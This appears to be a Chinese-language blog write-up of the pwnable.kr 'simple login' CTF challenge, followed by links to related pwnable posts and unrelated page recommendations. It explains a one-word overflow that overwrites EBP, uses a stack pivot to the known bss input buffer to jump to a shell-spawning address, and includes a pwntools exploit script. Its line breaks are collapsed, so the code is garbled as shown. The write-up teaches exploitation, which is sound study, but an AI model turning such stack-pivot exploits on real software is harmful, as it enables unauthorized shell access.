【pwnable.kr】 [simple login]

Download : http://pwnable.kr/bin/login
Running at : nc pwnable.kr 9003
先看看ida里面的逻辑。

比较重要的信息时input变量再bss段上,并且没有PIE保护,这样一来就有了一个已知的地址(这很重要
需要输入的是信息的base64编码,而input变量中存储的是输入信息base解码后的内容。
继续跟踪auth函数,发现了一个溢出。

变量v4放在ebp-8的位置,而最多会复制a1长(a1<=0xC),因此会覆盖了EBP。
尝试一下,输入P4NDA_P4NDA_的base64编码(UDROREFfUDROREFf)

果然产生了段错误。
然而仅仅覆盖了EBP,EBP的作用是调整栈帧结构。
leave ;mov esp ebp pop ebp
ret ;pop eip
因此,当利用溢出覆盖后,修改的是上一个栈的EBP也就是main函数栈,当main函数结束时会有问题。
思路是将EBP覆盖成引导ESP指向包含SHELL地址的内存。进一步在ret时控制eip跳转。
该位置可以选择input变量地址,因为该地址已知。
#coding:utf-8 from pwn import * debug = 1
if debug:
pro = process('./login')
else:
pro = remote('pwnable.kr',9003) #print pro.recvline()
input_addr = 0x0811eb40
sys_shell = 0x8049278 payload = 'a'*4 + p32(sys_shell) + p32(input_addr) pro.send(payload.encode('base64'))
pro.interactive()

【pwnable.kr】 [simple login]的更多相关文章
- pwnable.kr之simple Login
pwnable.kr之simple Login 懒了几天,一边看malloc.c的源码,一边看华庭的PDF.今天佛系做题,到pwnable.kr上打开了simple Login这道题,但是这道题个人觉 ...
- 【pwnable.kr】 memcpy
pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...
- 【pwnable.kr】passcode
pwnable从入门到放弃,第六题. ssh passcode@pwnable.kr -p2222 (pw:guest) 完全是‘&’的锅. #include <stdio.h> ...
- 【pwnable.kr】 asm
一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #inclu ...
- 【pwnable.kr】 brainfuck
pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...
- 【pwnable.kr】 unlink
pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...
- 【pwnable.kr】 codemap
pwnable新的一题. download: http://pwnable.kr/bin/codemap.exe ssh codemap@pwnable.kr -p2222 (pw:guest) 这道 ...
- 【pwnable.kr】 uaf
目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh uaf@pwnable.kr -p2222 (pw:guest ...
- 【pwnable.kr】input
这道题是一道一遍一遍满足程序需求的题. 网上其他的题解都是用了C语言或者python语言的本地调用,我想联系一下pwntools的远程调用就写了下面的脚本, 执行效果可以通过1~4的检测,到最后soc ...
随机推荐
- 【网摘】监控 div 的内容变化
数据是动态加载而来,而当无数据时,提示一下暂无数据.而数据是可以动态在当前页面即时添加的,故在无数据时所做提示,需要隐藏,所以找了这个方法.成功在动态添加数据后,暂无数据的提示没有了. if($(&q ...
- Python 爬取 热词并进行分类数据分析-[热词分类+目录生成]
日期:2020.02.04 博客期:143 星期二 [本博客的代码如若要使用,请在下方评论区留言,之后再用(就是跟我说一声)] 所有相关跳转: a.[简单准备] b.[云图制作+数据导入] c.[ ...
- Web--TypeConverter
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...
- spark实验(一)--linux系统常见命令及其文件互传(2)
2.使用 Linux 系统的常用命令 启动 Linux 虚拟机,进入 Linux 系统,通过查阅相关 Linux 书籍和网络资料,或者参考 本教程官网的“实验指南”的“Linux 系统常用命令”,完成 ...
- GSS系列题解——最大子段和系列
开坑啦! 2019 3/28 以前一直不知道怎么搞最大子段和,如今终于可以学习,其实真的很简单啊. 2019 3/29 树链剖分上最大子段和也OK啦 前置技能:线段树 题目大意:询问区间[l,r]的最 ...
- ERROR: but there is no YARN_RESOURCEMANAGER_USER defined. Aborting operation.
将start-dfs.sh,stop-dfs.sh两个文件顶部添加以下参数 HDFS_NAMENODE_USER=root HDFS_DATANODE_USER=root HDFS_SECONDARY ...
- 【原】postman设置环境变量和全局变量
一:设置环境变量 1. postman通过变换环境变量来快速变换环境地址. 2. 现可以将localhost:80信息添加至环境 3. 点击确定后,在首页可看到已添加的环境变量信息及设置的变量信息: ...
- 碰到的问题——建设基于TensorFlow的深度学习环境
1.解决jupyter notebook问题:socket.error: [Errno 99] Cannot assign requested address 首先要生成一个jupyter的配置文件: ...
- Redis的C++与JavaScript访问操作
上篇简单介绍了Redis及其安装部署,这篇记录一下如何用C++语言和JavaScript语言访问操作Redis 1. Redis的接口访问方式(通用接口或者语言接口) 很多语言都包含Redis支持,R ...
- 微信小程序 画布arc截取圆形图片
画布提供了一种可以创建圆的方法 arc(x, y, r, s, e, counterclockwise) x,y:圆心 r:圆的半径 s:起始弧度 (0) e:终止弧度 (1.5 * Math.PI) ...